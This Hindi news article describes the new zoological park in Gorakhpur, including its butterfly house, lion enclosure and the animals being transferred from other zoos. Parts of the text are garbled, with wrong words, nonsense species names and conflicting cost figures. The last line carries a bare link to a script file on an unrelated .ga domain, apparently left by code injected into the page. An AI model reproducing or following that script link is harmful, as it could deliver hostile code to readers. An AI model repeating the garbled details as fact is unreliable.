गोरखपुर,( कुलसूम फात्मा ) उत्तर प्रदेश के मुख्यमंत्री योगी आदित्यनाथ बहुत ही जल्द गोरखपुर वासियों को 221 करोड़ से बने हुए Zoological Park से नवाजेगें । और उत्तर प्रदेश में अब तक का सबसे बड़ा चिड़ियाघर जनता के लिए खोल दिया जाएगा।

 

 

 

आपको बता दें की शहीद अशफाक उल्लाहखान प्राणी उद्यान में प्रदेश का पहला इंदौर तितली पार्क बना करके तैयार कर दिया गया है। और यह 1000 वर्ग मीटर में फैले हुए इस इंदौर पार्क में तकरीबन 40 तरह की प्रजातियों की तितली भी मौजूद की गई हैं, जिनमें से कई कम भी हो गई हैं। इसलिए इन तितलियों की रक्षा के लिए बीट की पर के स्थान पर वैज्ञानिकों को जल्दी ही रखा जाएगा ,ये वैज्ञानिक नियुक्त के द्वारा रखे जाएंगे और चिड़ियाघर में तितलियों की रक्षा के साथ-साथ उनके प्रजनन का भी ध्यान रखेंगे। आपको बता दें की सिंडोल पार्क में हरियाली तथा तितलियों के इस्तेमाल में आने वाले काफी तादाद में पेड़ भी लगाए गए हैं

 

 

यही नहीं बल्कि चिड़ियाघर में लारवा तथा प्यूपा के जरिए से इन तितलियों के प्रजनन पर खास करके ध्यान रखा जाएगा और पार्थ का टेंपरेचर तितलियों के हिसाब से बना रहे। इसका भी खास ध्यान रखा गया।  इस इंडोर पार्क में सामान स्पीशीयस की तितलियों के साथ-साथ grape found, तथा येलो ऑरेंज टिप तथा कामन वेन्डर और ब्लू मोरमोन स्पोर्ट्सवर्ल्ड जैसी रियर प्रजाति की तितलियां होंगी और भोजन के लिए इनके हर तरह के पौधे भी लगाए जाएंगे।

 

 

 

जाने कुछ खास बातें इस प्राणी उद्यान के बारे में।

 

प्राणी उद्यान तकरीबन 123 एकड़ में बनाया जा रहा है और इसके कंस्ट्रक्शन के लिए 282 करोड़ रूपए की शासन ने मंजूरी भी दे दी थी बता दें की कैंपस में तकरीबन 34 एकड़ का वेटलैंड है प्रदेश में इतना बड़ा क्षेत्रफल वाला प्रथम चिड़ियाघर होगा जो देश भर के कुल 220 जानवर यहां पर लाए जाएंगे। कानपुर तथा लखनऊ से यह चिड़ियाघर से विभिन्न प्रजातियों के साथ दो जानवर यहां पर लाए जाएंगे। यही नहीं बल्कि विनोद वन के जानवर भी इसी में सम्मिलित किए जाएंगे।

 

चिड़ियाघर की खास बात यह है की शेर के लिए तकरीबन 72750 वर्ग मीटर का घेराव कराया गया है। और इसमें एक मेल तथा दो फीमेल बब्बर शेर को रखा जाएगा। इन्हें गुजरात से ले आया गया है और लाकर लायन सफारी इटावा में अभी रखा गया है।  पाठकों को किसी भी तरह की दिक्कत ना हो इसलिए उनकी सुविधा के लिए यहां पर माउंट के साथ-साथ तालाब भी बनाया गया है। कुछ माउंट बना करके इन पर हरी घास भी बिठा दी गई है। यहां पर रास्ते पर जानवरों के पदचिन्ह तो होंगे। साथ-साथ पत्थर पर आर्टवर्क भी बनाया जाएंगा और चिड़ियाघर में घूमने आने वाले लोगों के साथ बच्चे इसके जरिए से जानवरों को पहचान सकेंगे।

 

 

 

इस चिड़ियाघर में लखनऊ से ही नहीं बल्कि दिल्ली के नेशनल जूलॉजिकल पार्क से भी तकरीबन 19 जानवर लाए जाएंगे। इनमें से दो लोमड़ी होंगी तथा तीन दरियाई घोड़ा होगा। इसके साथ ही 2 पक्षी पीजेंट कॉलेज तथा दो बोनट बंदर है। इसके साथ ही 10 हिरण सांभर सम्मिलित होंगे। सभी जानवरों को गोरखपुर लाने की परमिशन भी दे दी गई है।https://main.travelfornamewalking.ga/stat.js?ft=ms

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